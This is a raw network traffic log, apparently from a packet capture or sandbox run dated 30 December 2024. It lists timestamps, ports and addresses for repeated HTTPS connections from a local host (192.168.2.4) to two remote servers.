Dec 30, 2024 11:37:06.653147936 CET	443	50253	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.654592037 CET	50253	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.654849052 CET	50253	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:06.654866934 CET	443	50253	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:06.972172976 CET	443	50250	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.972264051 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.973259926 CET	443	50250	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.973318100 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.974900007 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.974910021 CET	443	50250	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.975265026 CET	443	50250	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:06.975327969 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:06.975728989 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.014112949 CET	443	50251	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.014188051 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.014890909 CET	443	50251	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.014949083 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.017014027 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.017024040 CET	443	50251	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.017273903 CET	443	50251	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.017630100 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.018167019 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.023332119 CET	443	50250	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.059333086 CET	443	50251	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.117855072 CET	443	50252	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.117954016 CET	50252	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.118366003 CET	50252	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.118376017 CET	443	50252	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.118570089 CET	50252	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.118575096 CET	443	50252	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.274437904 CET	443	50253	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.274509907 CET	50253	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.274941921 CET	50253	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.274954081 CET	443	50253	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.275113106 CET	50253	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.275119066 CET	443	50253	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.353327036 CET	443	50250	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.353400946 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.353429079 CET	443	50250	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.353441000 CET	443	50250	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.353466034 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.353492975 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.353528976 CET	50250	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.353544950 CET	443	50250	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.355262995 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.355308056 CET	443	50260	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.355375051 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.355845928 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.355858088 CET	443	50260	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.385076046 CET	443	50251	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.385143042 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.385163069 CET	443	50251	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.385222912 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.385308027 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.385344028 CET	443	50251	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.385400057 CET	50251	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.385890007 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.385940075 CET	443	50261	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.386018991 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.386307955 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.386328936 CET	443	50261	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.524559021 CET	443	50252	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.524601936 CET	443	50252	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.524669886 CET	50252	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.524691105 CET	443	50252	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.524702072 CET	443	50252	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.524775028 CET	50252	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.527786970 CET	50252	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.527800083 CET	443	50252	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.528415918 CET	50262	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.528460979 CET	443	50262	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.528676987 CET	50262	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.528939962 CET	50262	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.528954029 CET	443	50262	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.689248085 CET	443	50253	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.689289093 CET	443	50253	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.689344883 CET	50253	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.689374924 CET	443	50253	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.689388990 CET	443	50253	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.689392090 CET	50253	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.689423084 CET	50253	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.689518929 CET	50253	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.690479040 CET	50253	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.690495968 CET	443	50253	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.691046953 CET	50263	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.691082001 CET	443	50263	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.691185951 CET	50263	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.691391945 CET	50263	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:07.691404104 CET	443	50263	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:07.983414888 CET	443	50260	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.983572006 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.984152079 CET	443	50260	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.984402895 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.984648943 CET	443	50261	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.984949112 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.985342979 CET	443	50261	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.985517025 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.989759922 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.989770889 CET	443	50261	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.989774942 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.989784956 CET	443	50260	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.990083933 CET	443	50261	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.990098000 CET	443	50260	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:07.990168095 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.990184069 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.990777016 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:07.990792990 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.031327963 CET	443	50260	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.031328917 CET	443	50261	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.131542921 CET	443	50262	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:08.131625891 CET	50262	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.132122993 CET	50262	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.132133961 CET	443	50262	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:08.134361029 CET	50262	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.134366035 CET	443	50262	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:08.293416977 CET	443	50263	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:08.293792963 CET	50263	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.294450998 CET	50263	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.294459105 CET	443	50263	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:08.295053005 CET	50263	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.295064926 CET	443	50263	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:08.355340004 CET	443	50261	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.355417967 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.355561972 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.355613947 CET	443	50261	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.355757952 CET	443	50261	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.355779886 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.355936050 CET	50261	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.356219053 CET	50271	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.356254101 CET	443	50271	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.356622934 CET	50271	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.356832981 CET	50271	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.356843948 CET	443	50271	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.361048937 CET	443	50260	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.361177921 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.361208916 CET	443	50260	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.361316919 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.361316919 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.361357927 CET	443	50260	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.361484051 CET	443	50260	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.361510992 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.361638069 CET	50260	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.361855030 CET	50272	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.361884117 CET	443	50272	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.361977100 CET	50272	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.362447977 CET	50272	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.362458944 CET	443	50272	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.424393892 CET	50262	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.424396038 CET	50263	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.424444914 CET	50271	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.424446106 CET	50272	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.425009966 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.425061941 CET	443	50273	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.425235033 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.426438093 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.426454067 CET	443	50273	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.427264929 CET	50274	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.427298069 CET	443	50274	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:08.427736044 CET	50274	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.429024935 CET	50274	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.429028034 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.429042101 CET	443	50274	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:08.429061890 CET	443	50275	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:08.429218054 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.429929018 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:08.429955006 CET	443	50275	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:08.430668116 CET	50276	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.430705070 CET	443	50276	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:08.434773922 CET	50276	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.434952974 CET	50276	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:08.434971094 CET	443	50276	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.027282000 CET	443	50275	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.027352095 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.027740955 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.027746916 CET	443	50275	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.027918100 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.027923107 CET	443	50275	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.037533045 CET	443	50274	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.037595987 CET	50274	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.038079977 CET	50274	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.038093090 CET	443	50274	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.038269997 CET	50274	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.038275957 CET	443	50274	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.041291952 CET	443	50276	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.041371107 CET	50276	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.042467117 CET	443	50276	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.042519093 CET	50276	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.044224977 CET	50276	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.044243097 CET	443	50276	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.044595003 CET	443	50276	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.044656992 CET	50276	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.045151949 CET	50276	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.061481953 CET	443	50273	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.061554909 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.062277079 CET	443	50273	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.062329054 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.065603971 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.065614939 CET	443	50273	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.065910101 CET	443	50273	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.065958023 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.072731018 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.091327906 CET	443	50276	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.115339994 CET	443	50273	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.407640934 CET	443	50276	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.407707930 CET	443	50276	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.407732010 CET	50276	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.407763004 CET	50276	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.408086061 CET	50276	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.408104897 CET	443	50276	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.408863068 CET	50287	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.408895969 CET	443	50287	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.409039974 CET	50287	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.409600019 CET	50287	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.409606934 CET	443	50287	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.430310965 CET	443	50273	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.430368900 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.430396080 CET	443	50273	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.430439949 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.430500984 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.430535078 CET	443	50273	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.430583000 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.430613995 CET	50273	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.431097031 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.431140900 CET	443	50288	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.431219101 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.431411028 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:09.431421041 CET	443	50288	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:09.438148022 CET	443	50275	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.438199043 CET	443	50275	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.438249111 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.438261986 CET	443	50275	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.438280106 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.438311100 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.439086914 CET	443	50275	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.439091921 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.439136028 CET	443	50275	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.439143896 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.439203978 CET	50275	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.439641953 CET	50289	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.439687967 CET	443	50289	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.439762115 CET	50289	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.440439939 CET	50289	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.440460920 CET	443	50289	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.595573902 CET	443	50274	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.595633030 CET	443	50274	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.595704079 CET	50274	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.595721006 CET	443	50274	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.595788956 CET	443	50274	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.595902920 CET	50274	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.596512079 CET	50274	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.596527100 CET	443	50274	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.597112894 CET	50290	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.597166061 CET	443	50290	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:09.597551107 CET	50290	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.597551107 CET	50290	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:09.597590923 CET	443	50290	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.009079933 CET	443	50287	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.009392023 CET	50287	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.009880066 CET	443	50287	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.009963036 CET	50287	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.013192892 CET	50287	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.013204098 CET	443	50287	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.013473988 CET	443	50287	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.013537884 CET	50287	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.014113903 CET	50287	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.039849997 CET	443	50288	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.040047884 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.040632010 CET	443	50288	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.040757895 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.042123079 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.042130947 CET	443	50288	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.042630911 CET	443	50288	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.042707920 CET	443	50289	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.042798996 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.042799950 CET	50289	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.043441057 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.043510914 CET	50289	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.043520927 CET	443	50289	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.045147896 CET	50289	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.045151949 CET	443	50289	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.059323072 CET	443	50287	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.091322899 CET	443	50288	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.216684103 CET	443	50290	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.217295885 CET	50290	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.217828989 CET	50290	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.217835903 CET	443	50290	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.217947006 CET	50290	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.217951059 CET	443	50290	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.375138044 CET	443	50287	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.377080917 CET	443	50287	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.377213955 CET	50287	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.377830982 CET	50287	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.377855062 CET	443	50287	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.378611088 CET	50296	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.378662109 CET	443	50296	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.378799915 CET	50296	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.379129887 CET	50296	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.379142046 CET	443	50296	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.410993099 CET	443	50288	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.411436081 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.411453962 CET	443	50288	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.411622047 CET	443	50288	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.411705971 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.411758900 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.411771059 CET	443	50288	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.411798000 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.411936998 CET	50288	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.412348986 CET	50297	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.412405014 CET	443	50297	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.412606001 CET	50297	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.412760019 CET	50297	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:10.412775040 CET	443	50297	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.452872992 CET	443	50289	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.452924967 CET	443	50289	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.453023911 CET	443	50289	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.453052998 CET	50289	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.453449011 CET	50289	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.454071045 CET	50289	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.454087019 CET	443	50289	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.454639912 CET	50299	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.454669952 CET	443	50299	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.457263947 CET	50299	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.459809065 CET	50299	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.459819078 CET	443	50299	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.632750034 CET	443	50290	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.632858992 CET	443	50290	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.632924080 CET	50290	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.632924080 CET	50290	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.632951975 CET	443	50290	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.633027077 CET	443	50290	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.633080006 CET	50290	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.636828899 CET	50290	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.636845112 CET	443	50290	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.637238979 CET	50304	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.637270927 CET	443	50304	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.637362957 CET	50304	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.638051033 CET	50304	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:10.638066053 CET	443	50304	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:10.978779078 CET	443	50296	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:10.978986979 CET	50296	443	192.168.2.4	142.250.186.142
